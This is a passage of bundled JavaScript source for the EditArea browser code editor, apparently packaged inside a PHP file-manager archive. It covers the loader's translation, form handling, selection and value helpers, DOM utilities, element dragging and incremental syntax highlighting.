			xhr_object.open("GET", this.baseURL+"template.html", false); 
			xhr_object.send(null); 
			if(xhr_object.readyState == 4) 
				this.template=xhr_object.responseText;
			else
				this.has_error();
		}
	},
	
	// translate text
	translate : function(text, lang, mode){
		
		if(mode=="word")
			text=editAreaLoader.get_word_translation(text, lang);
		else if(mode="template"){
			editAreaLoader.current_language= lang;
			text=text.replace(/\{\$([^\}]+)\}/gm, editAreaLoader.translate_template);
		}
		return text;
	},
	
	translate_template : function(){
		return editAreaLoader.get_word_translation(EditAreaLoader.prototype.translate_template.arguments[1], editAreaLoader.current_language);
	},
	
	get_word_translation : function(val, lang){
		for(var i in editAreaLoader.lang[lang]){
			if(i == val)
				return editAreaLoader.lang[lang][i];
		}
		return "_"+val;
	},
	
	load_script : function(url){
		if (this.loadedFiles[url])
			return;	
		//alert("load: "+url);
		try{
			var script= document.createElement("script");
			script.type= "text/javascript";
			script.src= url;
			script.charset= "UTF-8";
			var head= document.getElementsByTagName("head");
			head[0].appendChild(script);
		}catch(e){
			document.write('<sc'+'ript language="javascript" type="text/javascript" src="' + url + '" charset="UTF-8"></sc'+'ript>');
		}
		//var filename= url.replace(/^.*?\/?([a-z\.\_\-]+)$/i, "$1");
		this.loadedFiles[url] = true;
	},
	
	add_event : function(obj, name, handler) {
		if (obj.attachEvent) {
			obj.attachEvent("on" + name, handler);
		} else{
			obj.addEventListener(name, handler, false);
		}
	},
	
	remove_event : function(obj, name, handler){
		if (obj.detachEvent)
			obj.detachEvent("on" + name, handler);
		else
			obj.removeEventListener(name, handler, false);
	},


	// reset all the editareas in the form that have been reseted
	reset : function(e){
		var formObj = editAreaLoader.nav['isIE'] ? window.event.srcElement : e.target;
		if(formObj.tagName!='FORM')
			formObj= formObj.form;
		
		for(var i in editAreas){			
			var is_child= false;
			for (var x=0;x<formObj.elements.length;x++) {
				if(formObj.elements[x].id == i)
					is_child=true;
			}
			
			if(window.frames["frame_"+i] && is_child && editAreas[i]["displayed"]==true){
			
				var exec= 'window.frames["frame_'+ i +'"].editArea.textarea.value= document.getElementById("'+ i +'").value;';
				exec+= 'window.frames["frame_'+ i +'"].editArea.execCommand("focus");';
				exec+= 'window.frames["frame_'+ i +'"].editArea.check_line_selection();';
				exec+= 'window.frames["frame_'+ i +'"].editArea.execCommand("reset");';
				window.setTimeout(exec, 10);
			}
		}		
		return;
	},
	
	
	// prepare all the textarea replaced by an editarea to be submited
	submit : function(e){		
		var formObj = editAreaLoader.nav['isIE'] ? window.event.srcElement : e.target;
		if(formObj.tagName!='FORM')
			formObj= formObj.form;
		
		for(var i in editAreas){
			var is_child= false;
			for (var x=0;x<formObj.elements.length;x++) {
				if(formObj.elements[x].id == i)
					is_child=true;
			}
		
			if(is_child)
			{
				if(window.frames["frame_"+i] && editAreas[i]["displayed"]==true)
					document.getElementById(i).value= window.frames["frame_"+ i].editArea.textarea.value;
				editAreaLoader.execCommand(i,"EA_submit");
			}
		}				
		if(typeof(formObj.edit_area_replaced_submit) == "function"){
			res= formObj.edit_area_replaced_submit();
			if(res==false){
				if(editAreaLoader.nav['isIE'])
					return false;
				else
					e.preventDefault();
			}
		}
		return ;
	},
	
	// allow to get the value of the editarea
	getValue : function(id){
        if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
            return window.frames["frame_"+ id].editArea.textarea.value;       
        }else if(elem=document.getElementById(id)){
        	return elem.value;
        }
        return false;
    },
    
    // allow to set the value of the editarea
    setValue : function(id, new_val){
        if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
            window.frames["frame_"+ id].editArea.textarea.value= new_val;     
			window.frames["frame_"+ id].editArea.execCommand("focus"); 
			window.frames["frame_"+ id].editArea.check_line_selection(false);  
			window.frames["frame_"+ id].editArea.execCommand("onchange");
        }else if(elem=document.getElementById(id)){
        	elem.value= new_val;
        }
    },
	    
    // allow to get infos on the selection: array(start, end)
    getSelectionRange : function(id){
    	var sel= {"start": 0, "end": 0};
        if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
        	var editArea= window.frames["frame_"+ id].editArea;
           
		/*	if(this.nav['isIE']){
				editArea.getIESelection();
				
			}
			sel["start"]=editArea.textarea.selectionStart;
			sel["end"]=editArea.textarea.selectionEnd;
		*/
			sel["start"]=editArea.textarea.selectionStart;
			sel["end"]=editArea.textarea.selectionEnd;
		
        }else if(elem=document.getElementById(id)){
        	sel= getSelectionRange(elem);
        }
        return sel;
    },
    
    // allow to set the selection with the given start and end positions
    setSelectionRange : function(id, new_start, new_end){
        if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
            window.frames["frame_"+ id].editArea.area_select(new_start, new_end-new_start);  
			// make an auto-scroll to the selection
			if(!this.nav['isIE']){
				window.frames["frame_"+ id].editArea.check_line_selection(false); 
				window.frames["frame_"+ id].editArea.scroll_to_view();
			}   
        }else if(elem=document.getElementById(id)){
        	setSelectionRange(elem, new_start, new_end);
        }
    },
    
    getSelectedText : function(id){
    	var sel= this.getSelectionRange(id);
        return this.getValue(id).substring(sel["start"], sel["end"]);
    },
	
	setSelectedText : function(id, new_val){
		new_val= new_val.replace(/\r/g, ""); 
		var sel= this.getSelectionRange(id);
		var text= this.getValue(id);
		if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
			var scrollTop= window.frames["frame_"+ id].document.getElementById("result").scrollTop;
			var scrollLeft= window.frames["frame_"+ id].document.getElementById("result").scrollLeft;
		}else{
			var scrollTop= document.getElementById(id).scrollTop;
			var scrollLeft= document.getElementById(id).scrollLeft;
		}
		
		text= text.substring(0, sel["start"])+ new_val +text.substring(sel["end"]);
		this.setValue(id, text);
		var new_sel_end= sel["start"]+ new_val.length;
		this.setSelectionRange(id, sel["start"], new_sel_end);
		
		
		// fix \r problem for selection length count on IE & Opera
		if(new_val != this.getSelectedText(id).replace(/\r/g, "")){
			this.setSelectionRange(id, sel["start"], new_sel_end+ new_val.split("\n").length -1);
		}
		// restore scrolling position
		if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
			window.frames["frame_"+ id].document.getElementById("result").scrollTop= scrollTop;
			window.frames["frame_"+ id].document.getElementById("result").scrollLeft= scrollLeft;
			window.frames["frame_"+ id].editArea.execCommand("onchange");
		}else{
			document.getElementById(id).scrollTop= scrollTop;
			document.getElementById(id).scrollLeft= scrollLeft;
		}
    },
    
    insertTags : function(id, open_tag, close_tag){
    	var old_sel= this.getSelectionRange(id);
    	text= open_tag + this.getSelectedText(id) + close_tag; 
		editAreaLoader.setSelectedText(id, text);
    	var new_sel= this.getSelectionRange(id);
    	if(old_sel["end"] > old_sel["start"])	// if text was selected, cursor at the end
    		this.setSelectionRange(id, new_sel["end"], new_sel["end"]);
    	else // cursor in the middle
    		this.setSelectionRange(id, old_sel["start"]+open_tag.length, old_sel["start"]+open_tag.length);
    },
    
    // hide both EditArea and normal textarea
	hide : function(id){
		if(document.getElementById(id) && !this.hidden[id])
		{
			this.hidden[id]= new Object();
			this.hidden[id]["selectionRange"]= this.getSelectionRange(id);
			if(document.getElementById(id).style.display!="none")
			{
				this.hidden[id]["scrollTop"]= document.getElementById(id).scrollTop;
				this.hidden[id]["scrollLeft"]= document.getElementById(id).scrollLeft;
			}
					
			if(window.frames["frame_"+id])
			{
				this.hidden[id]["toggle"]= editAreas[id]["displayed"];
				
				if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
					var scrollTop= window.frames["frame_"+ id].document.getElementById("result").scrollTop;
					var scrollLeft= window.frames["frame_"+ id].document.getElementById("result").scrollLeft;
				}else{
					var scrollTop= document.getElementById(id).scrollTop;
					var scrollLeft= document.getElementById(id).scrollLeft;
				}
				this.hidden[id]["scrollTop"]= scrollTop;
				this.hidden[id]["scrollLeft"]= scrollLeft;
				
				if(editAreas[id]["displayed"]==true)
					editAreaLoader.toggle_off(id);
			}
			
			// hide toggle button and debug box
			var span= document.getElementById("EditAreaArroundInfos_"+id);
			if(span){
				span.style.display='none';
			}
			
			// hide textarea
			document.getElementById(id).style.display= "none";
		}
	},
	
	// restore hidden EditArea and normal textarea
	show : function(id){
		if((elem=document.getElementById(id)) && this.hidden[id])
		{
			elem.style.display= "inline";
			elem.scrollTop= this.hidden[id]["scrollTop"];
			elem.scrollLeft= this.hidden[id]["scrollLeft"];
			var span= document.getElementById("EditAreaArroundInfos_"+id);
			if(span){
				span.style.display='inline';
			}
			
			if(window.frames["frame_"+id])
			{
								
				// restore toggle button and debug box
			
				
				// restore textarea
				elem.style.display= "inline";
				
				// restore EditArea
				if(this.hidden[id]["toggle"]==true)
					editAreaLoader.toggle_on(id);
				
				scrollTop= this.hidden[id]["scrollTop"];
				scrollLeft= this.hidden[id]["scrollLeft"];
				
				if(window.frames["frame_"+id] && editAreas[id]["displayed"]==true){
					window.frames["frame_"+ id].document.getElementById("result").scrollTop= scrollTop;
					window.frames["frame_"+ id].document.getElementById("result").scrollLeft= scrollLeft;
				}else{
					elem.scrollTop= scrollTop;
					elem.scrollLeft= scrollLeft;
				}
			
			}
			// restore selection
			sel= this.hidden[id]["selectionRange"];
			this.setSelectionRange(id, sel["start"], sel["end"]);
			delete this.hidden[id];	
		}
	},
	
	// get the current file datas (for multi file editing mode)
	getCurrentFile : function(id){
		return this.execCommand(id, 'get_file', this.execCommand(id, 'curr_file'));
	},
	
	// get the given file datas (for multi file editing mode)
	getFile : function(id, file_id){
		return this.execCommand(id, 'get_file', file_id);
	},
	
	// get all the openned files datas (for multi file editing mode)
	getAllFiles : function(id){
		return this.execCommand(id, 'get_all_files()');
	},
	
	// open a file (for multi file editing mode)
	openFile : function(id, file_infos){
		return this.execCommand(id, 'open_file', file_infos);
	},
	
	// close the given file (for multi file editing mode)
	closeFile : function(id, file_id){
		return this.execCommand(id, 'close_file', file_id);
	},
	
	// close the given file (for multi file editing mode)
	setFileEditedMode : function(id, file_id, to){
		var reg1= new RegExp('\\\\', 'g');
		var reg2= new RegExp('"', 'g');
		return this.execCommand(id, 'set_file_edited_mode("'+ file_id.replace(reg1, '\\\\').replace(reg2, '\\"') +'", '+ to +')');
	},
	
	
	// allow to access to editarea functions and datas (for advanced users only)
	execCommand : function(id, cmd, fct_param){
		switch(cmd){
			case "EA_init":
				if(editAreas[id]['settings']["EA_init_callback"].length>0)
					eval(editAreas[id]['settings']["EA_init_callback"]+"('"+ id +"');");
				break;
			case "EA_delete":
				if(editAreas[id]['settings']["EA_delete_callback"].length>0)
					eval(editAreas[id]['settings']["EA_delete_callback"]+"('"+ id +"');");
				break;
			case "EA_submit":
				if(editAreas[id]['settings']["submit_callback"].length>0)
					eval(editAreas[id]['settings']["submit_callback"]+"('"+ id +"');");
				break;
		}
        if(window.frames["frame_"+id] && window.frames["frame_"+ id].editArea){
			if(fct_param!=undefined)
				return eval('window.frames["frame_'+ id +'"].editArea.'+ cmd +'(fct_param);');
			else
				return eval('window.frames["frame_'+ id +'"].editArea.'+ cmd +';');       
        }
        return false;
    }
};
	
	var editAreaLoader= new EditAreaLoader();
	var editAreas= new Object();

',
  './AJAX-B/edit_area/elements_functions.js' => '/****
 * This page contains some general usefull functions for javascript
 *
 ****/  
	
	
	// need to redefine this functiondue to IE problem
	function getAttribute( elm, aname ) {
		try{
			var avalue = elm.getAttribute( aname );
		}catch(exept){
		
		}
		if ( ! avalue ) {
			for ( var i = 0; i < elm.attributes.length; i ++ ) {
				var taName = elm.attributes [i] .name.toLowerCase();
				if ( taName == aname ) {
					avalue = elm.attributes [i] .value;
					return avalue;
				}
			}
		}
		return avalue;
	};
	
	// need to redefine this function due to IE problem
	function setAttribute( elm, attr, val ) {
		if(attr=="class"){
			elm.setAttribute("className", val);
			elm.setAttribute("class", val);
		}else{
			elm.setAttribute(attr, val);
		}
	};
	
	/* return a child element
		elem: element we are searching in
		elem_type: type of the eleemnt we are searching (DIV, A, etc...)
		elem_attribute: attribute of the searched element that must match
		elem_attribute_match: value that elem_attribute must match
		option: "all" if must return an array of all children, otherwise return the first match element
		depth: depth of search (-1 or no set => unlimited)
	*/
	function getChildren(elem, elem_type, elem_attribute, elem_attribute_match, option, depth)
	{           
		if(!option)
			var option="single";
		if(!depth)
			var depth=-1;
		if(elem){
			var children= elem.childNodes;
			var result=null;
			var results= new Array();
			for (var x=0;x<children.length;x++) {
				strTagName = new String(children[x].tagName);
				children_class="?";
				if(strTagName!= "undefined"){
					child_attribute= getAttribute(children[x],elem_attribute);
					if((strTagName.toLowerCase()==elem_type.toLowerCase() || elem_type=="") && (elem_attribute=="" || child_attribute==elem_attribute_match)){
						if(option=="all"){
							results.push(children[x]);
						}else{
							return children[x];
						}
					}
					if(depth!=0){
						result=getChildren(children[x], elem_type, elem_attribute, elem_attribute_match, option, depth-1);
						if(option=="all"){
							if(result.length>0){
								results= results.concat(result);
							}
						}else if(result!=null){                                                                          
							return result;
						}
					}
				}
			}
			if(option=="all")
			   return results;
		}
		return null;
	};       
	
	function isChildOf(elem, parent){
		if(elem){
			if(elem==parent)
				return true;
			while(elem.parentNode != 'undefined'){
				return isChildOf(elem.parentNode, parent);
			}
		}
		return false;
	};
	
	function getMouseX(e){
		/*if(document.all)
			return event.x + document.body.scrollLeft;
		else
			return e.pageX;*/
		if(e!=null && typeof(e.pageX)!="undefined"){
			return e.pageX;
		}else{
			return (e!=null?e.x:event.x)+ document.documentElement.scrollLeft;
		}
		//return (e!=null) ? e.pageX : event.x + document.documentElement.scrollLeft;
	};
	
	function getMouseY(e){
		/*if(document.all)
			return event.y + document.body.scrollTop;
		else
			return e.pageY;*/
		if(e!=null && typeof(e.pageY)!="undefined"){
			return e.pageY;
		}else{
			return (e!=null?e.y:event.y)+ document.documentElement.scrollTop;
		}
		//return (e!=null) ? e.pageY : event.y + document.documentElement.scrollTop;
	};
	
	function calculeOffsetLeft(r){
	  return calculeOffset(r,"offsetLeft")
	};
	
	function calculeOffsetTop(r){
	  return calculeOffset(r,"offsetTop")
	};
	
	function calculeOffset(element,attr){
	  var offset=0;
	  while(element){
		offset+=element[attr];
		element=element.offsetParent
	  }
	  return offset;
	};
	
	/** return the computed style
	 *	@param: elem: the reference to the element
	 *	@param: prop: the name of the css property	 
	 */
	function get_css_property(elem, prop)
	{
		if(document.defaultView)
		{
			return document.defaultView.getComputedStyle(elem, null).getPropertyValue(prop);
		}
		else if(elem.currentStyle)
		{
			var prop = prop.replace(/-\D/gi, function(sMatch)
			{
				return sMatch.charAt(sMatch.length - 1).toUpperCase();
			});
			return elem.currentStyle[prop];
		}
		else return null;
	}
	
/****
 * Moving an element 
 ***/  
	
	var move_current_element;
	/* allow to move an element in a window
		e: the event
		id: the id of the element
		frame: the frame of the element 
		ex of use:
			in html:	<img id='move_area_search_replace' onmousedown='return parent.start_move_element(event,"area_search_replace", parent.frames["this_frame_id"]);' .../>  
		or
			in javascript: document.getElementById("my_div").onmousedown= start_move_element
	*/
	function start_move_element(e, id, frame){
		var elem_id=(e.target || e.srcElement).id;
		if(id)
			elem_id=id;		
		if(!frame)
			frame=window;
		if(frame.event)
			e=frame.event;
			
		move_current_element= frame.document.getElementById(elem_id);
		move_current_element.frame=frame;
		frame.document.onmousemove= move_element;
		frame.document.onmouseup= end_move_element;
		/*move_current_element.onmousemove= move_element;
		move_current_element.onmouseup= end_move_element;*/
		
		//alert(move_current_element.frame.document.body.offsetHeight);
		
		mouse_x= getMouseX(e);
		mouse_y= getMouseY(e);
		//window.status=frame+ " elem: "+elem_id+" elem: "+ move_current_element + " mouse_x: "+mouse_x;
		move_current_element.start_pos_x = mouse_x - (move_current_element.style.left.replace("px","") || calculeOffsetLeft(move_current_element));
		move_current_element.start_pos_y = mouse_y - (move_current_element.style.top.replace("px","") || calculeOffsetTop(move_current_element));
		return false;
	};
	
	function end_move_element(e){
		move_current_element.frame.document.onmousemove= "";
		move_current_element.frame.document.onmouseup= "";		
		move_current_element=null;
	};
	
	function move_element(e){
		/*window.status="move"+frame;
		window.status="move2"+frame.event;*/
		if(move_current_element.frame && move_current_element.frame.event)
			e=move_current_element.frame.event;
		var mouse_x=getMouseX(e);
		var mouse_y=getMouseY(e);
		var new_top= mouse_y - move_current_element.start_pos_y;
		var new_left= mouse_x - move_current_element.start_pos_x;
		
		var max_left= move_current_element.frame.document.body.offsetWidth- move_current_element.offsetWidth;
		max_top= move_current_element.frame.document.body.offsetHeight- move_current_element.offsetHeight;
		new_top= Math.min(Math.max(0, new_top), max_top);
		new_left= Math.min(Math.max(0, new_left), max_left);
		
		move_current_element.style.top= new_top+"px";
		move_current_element.style.left= new_left+"px";		
		return false;
	};
	
/***
 * Managing a textarea (this part need the navigator infos from editAreaLoader
 ***/ 
	
	var nav= editAreaLoader.nav;
	
	// allow to get infos on the selection: array(start, end)
	function getSelectionRange(textarea){
		//if(nav['isIE'])
		//	get_IE_selection(textarea);
		return {"start": textarea.selectionStart, "end": textarea.selectionEnd};
	};
	
	// allow to set the selection
	function setSelectionRange(textarea, start, end){
		textarea.focus();
		
		start= Math.max(0, Math.min(textarea.value.length, start));
		end= Math.max(start, Math.min(textarea.value.length, end));
	
		if(nav['isOpera']){	// Opera bug when moving selection start and selection end
			textarea.selectionEnd = 1;	
			textarea.selectionStart = 0;			
			textarea.selectionEnd = 1;	
			textarea.selectionStart = 0;		
		}
		textarea.selectionStart = start;
		textarea.selectionEnd = end;		
		//textarea.setSelectionRange(start, end);
		
		if(nav['isIE'])
			set_IE_selection(textarea);
	};

	
	// set IE position in Firefox mode (textarea.selectionStart and textarea.selectionEnd). should work as a repeated task
	function get_IE_selection(textarea){
			
		if(textarea && textarea.focused)
		{	
			if(!textarea.ea_line_height)
			{	// calculate the lineHeight
				var div= document.createElement("div");
				div.style.fontFamily= get_css_property(textarea, "font-family");
				div.style.fontSize= get_css_property(textarea, "font-size");
				div.style.visibility= "hidden";			
				div.innerHTML="0";
				document.body.appendChild(div);
				textarea.ea_line_height= div.offsetHeight;
				document.body.removeChild(div);
			}
			//textarea.focus();
			var range = document.selection.createRange();	
			var stored_range = range.duplicate();
			stored_range.moveToElementText( textarea );
			stored_range.setEndPoint( 'EndToEnd', range );
			if(stored_range.parentElement()==textarea){
				// the range don't take care of empty lines in the end of the selection
				var elem= textarea;
				var scrollTop= 0;
				while(elem.parentNode){
					scrollTop+= elem.scrollTop;
					elem= elem.parentNode;
				}
			
			//	var scrollTop= textarea.scrollTop + document.body.scrollTop;
				
			//	var relative_top= range.offsetTop - calculeOffsetTop(textarea) + scrollTop;
				var relative_top= range.offsetTop - calculeOffsetTop(textarea)+ scrollTop;
			//	alert("rangeoffset: "+ range.offsetTop +"\ncalcoffsetTop: "+ calculeOffsetTop(textarea) +"\nrelativeTop: "+ relative_top);
				var line_start = Math.round((relative_top / textarea.ea_line_height) +1);
				
				var line_nb= Math.round(range.boundingHeight / textarea.ea_line_height);
				
		//		alert("store_range: "+ stored_range.text.length+"\nrange: "+range.text.length+"\nrange_text: "+ range.text);
				var range_start= stored_range.text.length - range.text.length;
				var tab= textarea.value.substr(0, range_start).split("\n");			
				range_start+= (line_start - tab.length)*2;		// add missing empty lines to the selection
				textarea.selectionStart = range_start;
				
				var range_end= textarea.selectionStart + range.text.length;
				tab= textarea.value.substr(0, range_start + range.text.length).split("\n");			
				range_end+= (line_start + line_nb - 1 - tab.length)*2;
				textarea.selectionEnd = range_end;
			}
		}
		setTimeout("get_IE_selection(document.getElementById('"+ textarea.id +"'));", 50);
	};
	
	function IE_textarea_focus(){
		event.srcElement.focused= true;
	}
	
	function IE_textarea_blur(){
		event.srcElement.focused= false;
	}
	
	// select the text for IE (take into account the \r difference)
	function set_IE_selection(textarea){
		if(!window.closed){ 
			var nbLineStart=textarea.value.substr(0, textarea.selectionStart).split("\n").length - 1;
			var nbLineEnd=textarea.value.substr(0, textarea.selectionEnd).split("\n").length - 1;
			var range = document.selection.createRange();
			range.moveToElementText( textarea );
			range.setEndPoint( 'EndToStart', range );
			range.moveStart('character', textarea.selectionStart - nbLineStart);
			range.moveEnd('character', textarea.selectionEnd - nbLineEnd - (textarea.selectionStart - nbLineStart)  );
			range.select();
		}
	};
	
	
	editAreaLoader.waiting_loading["elements_functions.js"]= "loaded";
',
  './AJAX-B/edit_area/highlight.js' => '	// change_to: "on" or "off"
	EditArea.prototype.change_highlight= function(change_to){
		if(this.settings["syntax"].length==0 && change_to==false){
			this.switchClassSticky($("highlight"), 'editAreaButtonDisabled', true);
			this.switchClassSticky($("reset_highlight"), 'editAreaButtonDisabled', true);
			return false;
		}
		
		if(this.do_highlight==change_to)
			return false;
	
			
		if(this.nav['isIE'])
			this.getIESelection();
		var pos_start= this.textarea.selectionStart;
		var pos_end= this.textarea.selectionEnd;
		
		if(this.do_highlight===true || change_to==false)
			this.disable_highlight();
		else
			this.enable_highlight();
		this.textarea.focus();
		this.textarea.selectionStart = pos_start;
		this.textarea.selectionEnd = pos_end;
		if(this.nav['isIE'])
			this.setIESelection();
				
	};
	
	EditArea.prototype.disable_highlight= function(displayOnly){		
		this.selection_field.innerHTML="";
		this.content_highlight.style.visibility="hidden";
		// replacing the node is far more faster than deleting it's content in firefox
		var new_Obj= this.content_highlight.cloneNode(false);
		new_Obj.innerHTML= "";			
		this.content_highlight.parentNode.insertBefore(new_Obj, this.content_highlight);
		this.content_highlight.parentNode.removeChild(this.content_highlight);	
		this.content_highlight= new_Obj;
		var old_class= parent.getAttribute(this.textarea,"class");
		if(old_class){
			var new_class= old_class.replace("hidden","");
			parent.setAttribute(this.textarea, "class", new_class);
		}
	
		this.textarea.style.backgroundColor="transparent";	// needed in order to see the bracket finders
		
		//var icon= document.getElementById("highlight");
		//setAttribute(icon, "class", getAttribute(icon, "class").replace(/ selected/g, "") );
		//this.restoreClass(icon);
		//this.switchClass(icon,'editAreaButtonNormal');
		this.switchClassSticky($("highlight"), 'editAreaButtonNormal', true);
		this.switchClassSticky($("reset_highlight"), 'editAreaButtonDisabled', true);
	
		this.do_highlight=false;
	
		this.switchClassSticky($("change_smooth_selection"), 'editAreaButtonSelected', true);
		if(typeof(this.smooth_selection_before_highlight)!="undefined" && this.smooth_selection_before_highlight===false){
			this.change_smooth_selection_mode(false);
		}
		
	//	this.textarea.style.backgroundColor="#FFFFFF";
	};

	EditArea.prototype.enable_highlight= function(){
		this.show_waiting_screen();
			
		this.content_highlight.style.visibility="visible";
		var new_class=parent.getAttribute(this.textarea,"class")+" hidden";
		parent.setAttribute(this.textarea, "class", new_class);
		
		if(this.nav['isIE'])
			this.textarea.style.backgroundColor="#FFFFFF";	// IE can't manage mouse click outside text range without this

		//var icon= document.getElementById("highlight");
		//setAttribute(icon, "class", getAttribute(icon, "class") + " selected");
		//this.switchClass(icon,'editAreaButtonSelected');
		//this.switchClassSticky($("highlight"), 'editAreaButtonNormal', false);
		this.switchClassSticky($("highlight"), 'editAreaButtonSelected', false);
		this.switchClassSticky($("reset_highlight"), 'editAreaButtonNormal', false);
		
		this.smooth_selection_before_highlight=this.smooth_selection;
		if(!this.smooth_selection)
			this.change_smooth_selection_mode(true);
		this.switchClassSticky($("change_smooth_selection"), 'editAreaButtonDisabled', true);
		
		
		this.do_highlight=true;
		this.resync_highlight();
					
		this.hide_waiting_screen();
		//area.onkeyup="";
		/*if(!displayOnly){
			this.do_highlight=true;
			this.reSync();
			if(this.state=="loaded")
				this.textarea.focus();
		}*/
	
	};
	
	
	EditArea.prototype.maj_highlight= function(infos){
		if(this.last_highlight_base_text==infos["full_text"] && this.resync_highlight!==true)
			return;
					
		//var infos= this.getSelectionInfos();
		if(infos["full_text"].indexOf("\r")!=-1)
			text_to_highlight= infos["full_text"].replace(/\r/g, "");
		else
			text_to_highlight= infos["full_text"];
		
		// for optimisation process
		var start_line_pb=-1;	
		var end_line_pb=-1;		
		
		var stay_begin="";	
		var stay_end="";
		
		
		var debug_opti="";
		
		// for speed mesure
		var date= new Date();
		var tps_start=date.getTime();		
		var tps_middle_opti=date.getTime();	
		
					
		//  OPTIMISATION: will search to update only changed lines
		if(this.reload_highlight===true){
			this.reload_highlight=false;
		}else if(text_to_highlight.length==0){
			text_to_highlight="\n ";
		}else{			
			var base_step=200;
			
			var cpt= 0;
			var end= Math.min(text_to_highlight.length, this.last_text_to_highlight.length);
            var step= base_step;
            // find how many chars are similar at the begin of the text						
			while(cpt<end && step>=1){
                if(this.last_text_to_highlight.substr(cpt, step) == text_to_highlight.substr(cpt, step)){
                    cpt+= step;
                }else{
                    step= Math.floor(step/2);
                }
			}
			var pos_start_change=cpt;
			var line_start_change= text_to_highlight.substr(0, pos_start_change).split("\n").length -1;						
			
			cpt_last= this.last_text_to_highlight.length;
            cpt= text_to_highlight.length;
            step= base_step;			
            // find how many chars are similar at the end of the text						
			while(cpt>=0 && cpt_last>=0 && step>=1){
                if(this.last_text_to_highlight.substr(cpt_last-step, step) == text_to_highlight.substr(cpt-step, step)){
                    cpt-= step;
                    cpt_last-= step;
                }else{
                    step= Math.floor(step/2);
                }
			}
			//cpt_last=Math.max(0, cpt_last);
			var pos_new_end_change= cpt;
			var pos_last_end_change= cpt_last;
			if(pos_new_end_change<=pos_start_change){
				if(this.last_text_to_highlight.length < text_to_highlight.length){
					pos_new_end_change= pos_start_change + text_to_highlight.length - this.last_text_to_highlight.length;
					pos_last_end_change= pos_start_change;
				}else{
					pos_last_end_change= pos_start_change + this.last_text_to_highlight.length - text_to_highlight.length;
					pos_new_end_change= pos_start_change;
				}
			} 
			var change_new_text= text_to_highlight.substring(pos_start_change, pos_new_end_change);
			var change_last_text= this.last_text_to_highlight.substring(pos_start_change, pos_last_end_change);			            
			
			var line_new_end_change= text_to_highlight.substr(0, pos_new_end_change).split("\n").length -1;
			var line_last_end_change= this.last_text_to_highlight.substr(0, pos_last_end_change).split("\n").length -1;
			
			var change_new_text_line= text_to_highlight.split("\n").slice(line_start_change, line_new_end_change+1).join("\n");
			var change_last_text_line= this.last_text_to_highlight.split("\n").slice(line_start_change, line_last_end_change+1).join("\n");
		
			// check if it can only reparse the changed text
			var trace_new= this.get_syntax_trace(change_new_text_line);
			var trace_last= this.get_syntax_trace(change_last_text_line);
			if(trace_new == trace_last){
						
			
			
				date= new Date();		
				tps_middle_opti=date.getTime();	
			
				stay_begin= this.last_hightlighted_text.split("\n").slice(0, line_start_change).join("\n");
				if(line_start_change>0)
					stay_begin+= "\n";
				stay_end= this.last_hightlighted_text.split("\n").slice(line_last_end_change+1).join("\n");
				if(stay_end.length>0)
					stay_end= "\n"+stay_end;
	
	
				if(stay_begin.length==0 && pos_last_end_change==-1)
					change_new_text_line+="\n";
				text_to_highlight=change_new_text_line;
				
			}
			if(this.settings["debug"]){
				debug_opti= (trace_new == trace_last)?"Optimisation": "No optimisation";
				debug_opti+= " start: "+pos_start_change +"("+line_start_change+")";
				debug_opti+=" end_new: "+ pos_new_end_change+"("+line_new_end_change+")";
				debug_opti+=" end_last: "+ pos_last_end_change+"("+line_last_end_change+")";
				debug_opti+="\nchanged_text: "+change_new_text+" => trace: "+trace_new;
				debug_opti+="\nchanged_last_text: "+change_last_text+" => trace: "+trace_last;
				//debug_opti+= "\nchanged: "+ infos["full_text"].substring(pos_start_change, pos_new_end_change);
				debug_opti+= "\nchanged_line: "+change_new_text_line;
				debug_opti+= "\nlast_changed_line: "+change_last_text_line;
				debug_opti+="\nstay_begin: "+ stay_begin.slice(-200);
				debug_opti+="\nstay_end: "+ stay_end;
				//debug_opti="start: "+stay_begin_len+ "("+nb_line_start_unchanged+") end: "+ (stay_end_len)+ "("+(splited.length-nb_line_end_unchanged)+") ";
				//debug_opti+="changed: "+ text_to_highlight.substring(stay_begin_len, text_to_highlight.length-stay_end_len)+" \n";
				
				//debug_opti+="changed: "+ stay_begin.substr(stay_begin.length-200)+ "----------"+ text_to_highlight+"------------------"+ stay_end.substr(0,200) +"\n";
				debug_opti+="\n";
			}
	
			
			// END OPTIMISATION
		}
		date= new Date();
		tps_end_opti=date.getTime();	
				
		// apply highlight
		var updated_highlight= this.colorize_text(text_to_highlight);		
		
		// get the new highlight content
			
		date= new Date();
		tps2=date.getTime();
		//updated_highlight= "<div class='keywords'>"+updated_highlight+"</div>";
		var hightlighted_text= stay_begin + updated_highlight + stay_end;
		//this.previous_hightlight_content= tab_text.join("<br>");
		
		date= new Date();
		inner1=date.getTime();		
					
		// update the content of the highlight div by first updating a clone node (as there is no display in the same time for this node it's quite faster (5*))
		var new_Obj= this.content_highlight.cloneNode(false);
		if(this.nav['isIE'] || this.nav['isOpera'] || this.nav['isFirefox'] >= 3 )
			new_Obj.innerHTML= "<pre><span class='"+ this.settings["syntax"] +"'>" + hightlighted_text.replace("\n", "<br/>") + "</span></pre>";	
		else
			new_Obj.innerHTML= "<span class='"+ this.settings["syntax"] +"'>"+ hightlighted_text +"</span>";			
		this.content_highlight.parentNode.replaceChild(new_Obj, this.content_highlight);
		this.content_highlight= new_Obj;
		if(infos["full_text"].indexOf("\r")!=-1)
			this.last_text_to_highlight= infos["full_text"].replace(/\r/g, "");
		else
			this.last_text_to_highlight= infos["full_text"];
		this.last_hightlighted_text= hightlighted_text;
		date= new Date();
		tps3=date.getTime();
	
		if(this.settings["debug"]){
			tot1=tps_end_opti-tps_start;
			tot_middle=tps_end_opti- tps_middle_opti;
			tot2=tps2-tps_end_opti;
			tps_join=inner1-tps2;			
			tps_td2=tps3-inner1;
			//lineNumber=tab_text.length;
			//this.debug.value+=" \nNB char: "+$("src").value.length+" Nb line: "+ lineNumber;
			this.debug.value= "Tps optimisation "+tot1+" (second part: "+tot_middle+") | tps reg exp: "+tot2+" | tps join: "+tps_join;
			this.debug.value+= " | tps update highlight content: "+tps_td2+"("+tps3+")\n";
			this.debug.value+=debug_opti;
		//	this.debug.value+= "highlight\n"+hightlighted_text;
		}
		
	};
	
	EditArea.prototype.resync_highlight= function(reload_now){
